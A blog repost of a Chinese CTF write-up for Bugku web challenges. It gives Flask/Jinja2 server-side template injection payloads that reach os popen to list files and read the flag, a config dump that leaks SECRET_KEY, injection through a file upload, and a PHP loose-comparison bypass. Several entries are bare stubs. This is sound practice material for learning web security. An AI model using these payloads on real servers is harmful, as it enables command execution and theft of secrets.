Bugku解题 web
介绍:记录解题过程
1 Simple_SSTI_2
- 通过以下语句拿到可用的类的列表
http://114.67.246.176:13299/?flag={{%22%22.__class__.__bases__[0].__subclasses__()}}
-
我们需要的是os命令执行类<class ‘os._wrap_close’>
-
利用逗号定位
-
我们可以先看一下我们索引的是否正确,输入url
/?flag={{"".__class__.__bases__[0].__subclasses__()[127]}}
- 构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令
/?flag={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}
Dockerfile app.py flag gunicorn.conf.py templates
- 读flag
/?flag={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}}
flag{f325fff1f68aec4243a034f722d0833c}
2 Simple_SSTI_1
You need pass in a parameter named flag。
- python模仿注入(SSTI)
- 首页查看源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Simple SSTI</title>
</head>
<body>
You need pass in a parameter named flag。
<!-- You know, in the flask, We often set a secret_key variable.-->
</body>
</html>
你知道,在flask里,我们经常设置一个secret_key变量
- so我们要读secret_key变量,导出所有config变量,其中就包括SECRET_KEY
/?flag={{config.items()}}
flag{f7075118c1f7956690794e58eb0b2198}
3.Flask_FileUpload
描 述: Flask_FileUpload
<html>
<head>
<title>File Upload</title>
</head>
<body>
<form action="/uploader" method="POST" enctype="multipart/form-data">
<input type="file" name="file" accept=".jpg,.png" />
<input type="submit" />
</form>
<!-- Give me the file, and I will return the Running results by python to you! -->
</body>
</html>
- 上传成功后
file uploaded successfully!<!-- File "/app/upload/simple.png", line 1
SyntaxError: Non-UTF-8 code starting with '\x89' in file /app/upload/simple.png on line 1, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details -->
- Method Not Allowed
- 要在上传中实现注入
{{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}
3. cd …/
- cd …/;cat flag
flag{a1b5409b110f8658d4264f260807aefc}
4.web1
提 示: 官方交流群:222959472
描 述: flag{}
- 查看源码得的flag
<!--flag{5aa7724ad0937437e93acd880c88373c}
-->
5.web2
描 述: 输入验证码即可得到flag
1 长度限制改为2
flag{49e5e23c0b45249426b1777ba3445a50}
6.web3
-
首页
-
得的flag
7.web4
描 述: post
- 首页
- 得的flag
8.web5
描 述: 矛盾
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
- 数字后面加个非数字的即可
flag{5fe31bef8632c6b6416516e77b9bb7c7}
9. web6
- ctrl+U查看源码,然后html解码
HtmlEncode编码/HtmlEncode解码 – 站长工具
flag{3bd205d63ad6e8e6232931745f400d41}
10. web7
描 述: 你必须让他停下
- burpSuite抓包查看
flag{aeee925d31ebeb19d809d262b729cc1c}
11.社工-初步收集
描 述: 其实是杂项,勉强算社工吧。来自当年实战
- List item
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92706.html